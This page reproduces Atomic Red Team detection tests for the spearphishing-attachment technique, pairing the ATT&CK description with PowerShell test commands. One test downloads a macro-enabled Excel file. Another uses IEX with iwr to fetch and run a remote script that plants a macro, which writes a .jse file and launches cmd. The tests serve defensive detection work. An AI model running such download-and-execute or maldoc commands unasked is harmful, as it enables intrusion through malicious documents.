Try it using Invoke-Atomic

Phishing: Spearphishing Attachment

Description from ATT&CK

Adversaries may send spearphishing emails with a malicious attachment in an attempt to gain access to victim systems. Spearphishing attachment is a specific variant of spearphishing. Spearphishing attachment is different from other forms of spearphishing in that it employs the use of malware attached to an email. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries attach a file to the spearphishing email and usually rely upon User Execution to gain execution. Spearphishing may also involve social engineering techniques, such as posing as a trusted source.

There are many options for the attachment such as Microsoft Office documents, executables, PDFs, or archived files. Upon opening the attachment (and potentially clicking past protections), the adversary's payload exploits a vulnerability or directly executes on the user's system. The text of the spearphishing email usually tries to give a plausible reason why the file should be opened, and may explain how to bypass system protections in order to do so. The email may also contain instructions on how to decrypt an attachment, such as a zip file password, in order to evade email boundary defenses. Adversaries frequently manipulate file extensions and icons in order to make attached executables appear to be document files, or files exploiting one application appear to be a file for a different one. https://www.aleksandrhovhannisyan.com/blog/how-to-add-a-copy-to-clipboard-button-to-your-jekyll-blog/

Atomic Tests

Atomic Test #1 - Download Phishing Attachment - VBScript

The macro-enabled Excel file contains VBScript which opens your default web browser and opens it to google.com. The below will successfully download the macro-enabled Excel file to the current location.

Supported Platforms: windows

auto_generated_guid: 114ccff9-ae6d-4547-9ead-4cd69f687306

Inputs:

None

Attack Commands: Run with powershell!

1
2
3
4
5
6
7
8
9
10
11
12
13
if (-not(Test-Path HKLM:SOFTWARE\Classes\Excel.Application)){
  return 'Please install Microsoft Excel before running this test.'
}
else{
  $url = 'https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1566.001/bin/PhishingAttachment.xlsm'
  $fileName = 'PhishingAttachment.xlsm'
  New-Item -Type File -Force -Path $fileName | out-null
  $wc = New-Object System.Net.WebClient
  $wc.Encoding = [System.Text.Encoding]::UTF8
  [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
  ($wc.DownloadString("$url")) | Out-File $fileName
}

Atomic Test #2 - Word spawned a command shell and used an IP address in the command line

Word spawning a command prompt then running a command with an IP address in the command line is an indiciator of malicious activity. Upon execution, CMD will be lauchned and ping 8.8.8.8

Supported Platforms: windows

auto_generated_guid: cbb6799a-425c-4f83-9194-5447a909d67f

Inputs:

Name Description Type Default Value
jse_path Path for the macro to write out the "malicious" .jse file    
String C:\Users\Public\art.jse    
ms_product Maldoc application Word or Excel String Word
ms_office_version Microsoft Office version number found in "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office" String 16.0

Attack Commands: Run with powershell!

1
2
3
4
IEX (iwr "https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/Public/Invoke-MalDoc.ps1")
$macrocode = "   Open `"#{jse_path}`" For Output As #1`n   Write #1, `"WScript.Quit`"`n   Close #1`n   Shell`$ `"ping 8.8.8.8`"`n"
Invoke-MalDoc $macrocode "#{ms_office_version}" "#{ms_product}"

Cleanup Commands:

1
2
3
if (Test-Path #{jse_path}) { Remove-Item #{jse_path} }
Remove-ItemProperty -Path 'HKCU:\Software\Microsoft\Office\#{ms_office_version}\#{ms_product}\Security\' -Name 'AccessVBOM' -ErrorAction Ignore

Dependencies: Run with powershell!

Description: Test Requires MS Office to be installed and have been run previously. Run -GetPrereqs to run msword and build dependent registry keys

Check Prereq Commands:

1
2
If (Test-Path HKCU:SOFTWARE\Microsoft\Office\#{ms_office_version}) { exit 0 } else { exit 1 }

Get Prereq Commands:

1
2
3
$msword = New-Object -ComObject word.application
Stop-Process -Name WINWORD

source